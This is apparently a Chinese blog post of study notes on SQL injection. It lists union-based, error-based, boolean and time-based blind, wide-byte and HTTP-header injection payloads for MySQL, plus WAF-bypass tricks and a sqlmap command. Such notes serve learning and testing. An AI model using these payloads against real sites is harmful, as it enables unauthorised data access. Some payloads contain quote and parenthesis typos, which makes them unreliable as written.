web安全之SQL注入总结

学习SQL注入资料整理的一些东西。

0x01 注入类型详解

一、回显型注⼊

 

当拿到一个MySQL的注入点的时候,我们需要判断MySQL的版本。因为当MySQL的版本小于4.0时,是不支持union select联合查询的;当MySQL版本大于5.0时,有个默认数据库information_schema,里面存放着所有数据库的信息

1.1判断注入点

‘and’1‘=’1           或者                  ‘1or’1’=’1

1.2 order by和union select

‘/**/order by N--+

‘union select 1,2,3,4...,N--+

1.3查出基本信息

‘union select 1,2,version(),4...,N--+
1. version()——MySQL版本
2. user()——用户名
3. database()——数据库名
4. @@datadir——数据库路径

1.4爆数据

第一种:常用查询手法

暴库

' union select 1,(select schema_name from information_schema.schemata limit n,1),3--+

' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

爆表

' union select 1,(select table_name from information_schema.tables where table_schema='库名' limit n,1),3--+

爆列

'union select 1,(select column_name from information_schema.columns where table_schema='库名 and table_name='表名' limit n,1),3--+

爆数据

' union select  1,select 字段名 from列名limit n,1),3--+

第二种:

‘union select 1,2,group_concat(schema_name),4 from information_schema.schemata--+
’union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=库名--+
‘union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=表名--+
’ union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名--+

 

二、盲注

1.1 Error

1报错注入原理

扫描二维码关注公众号,回复: 6398883 查看本文章

由于rand和group by的冲突,即rand()是不可以作为order by的条件字段,同理也不可以为group by的条件字段。

floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误

floor:向下取整,只保留整数部分,rand(0) -> 0~1

2 报错语法

通过floor()报错

url?name=select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

经典10种报错注入:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

1.2 bool 与time

1 原理

· Length()函数 返回字符串的长度

· Substr()截取字符串

· Ascii()返回字符的ascii码

· sleep(n):将程序挂起一段时间 n为n秒

· if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

 

2 时间型

通过页面沉睡时间判断

http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4))  --+

 

3 布尔型

http://127.0.0.1/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100#

三、另类注⼊

1.1宽字节注入

众所周知addslashes()函数产生的效果就是,让'变成\',让引号变得不再是“单引号”,只是一撇而已。一般绕过方式就是,想办法处理\'前面的\

mysql在使用GBK编码的时候,会认为两个字符是一个汉字,修改一下header改为 header("Content-type:text/html;charset=gbk");

注入   %df%27 union select  1,2,3   #

1.2 http header 注⼊

X_FORWARDED_FOR :127.0.0.1' or 1=1# 将会导致绕开认证控制

HTTP查询例子:

GET /index.php HTTP/1.1 Host: [host] User-Agent: aaa' or 1/*

 

1.3 伪静态

1.分析是否为伪静态

www.xxx.com/xxx.html
控制台:document.lastModified
按上下箭头 看时间是否改变 如果改变就是伪静态

2.注入

http://www.xxx.com/id1/1/id2/2
python   sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″

http://www.xxx.com/play/Do'/**/and/**/1='1 /*.html

1.4 Base64变形

base64注入是针对传递的参数被base64加密后的注入点进行注入。这种方式常用来绕过一些WAF的检测。

0x02绕防

  • 替代

当空格被过滤时,删除空格或者/**/、 %a0、%20代替

=号用like替换

#(或%23)代替--+

  • 重复

所有关键词重复一变

/**/unionunion/**/selectselect......

 

 

猜你喜欢

转载自blog.csdn.net/xlsj228/article/details/90676633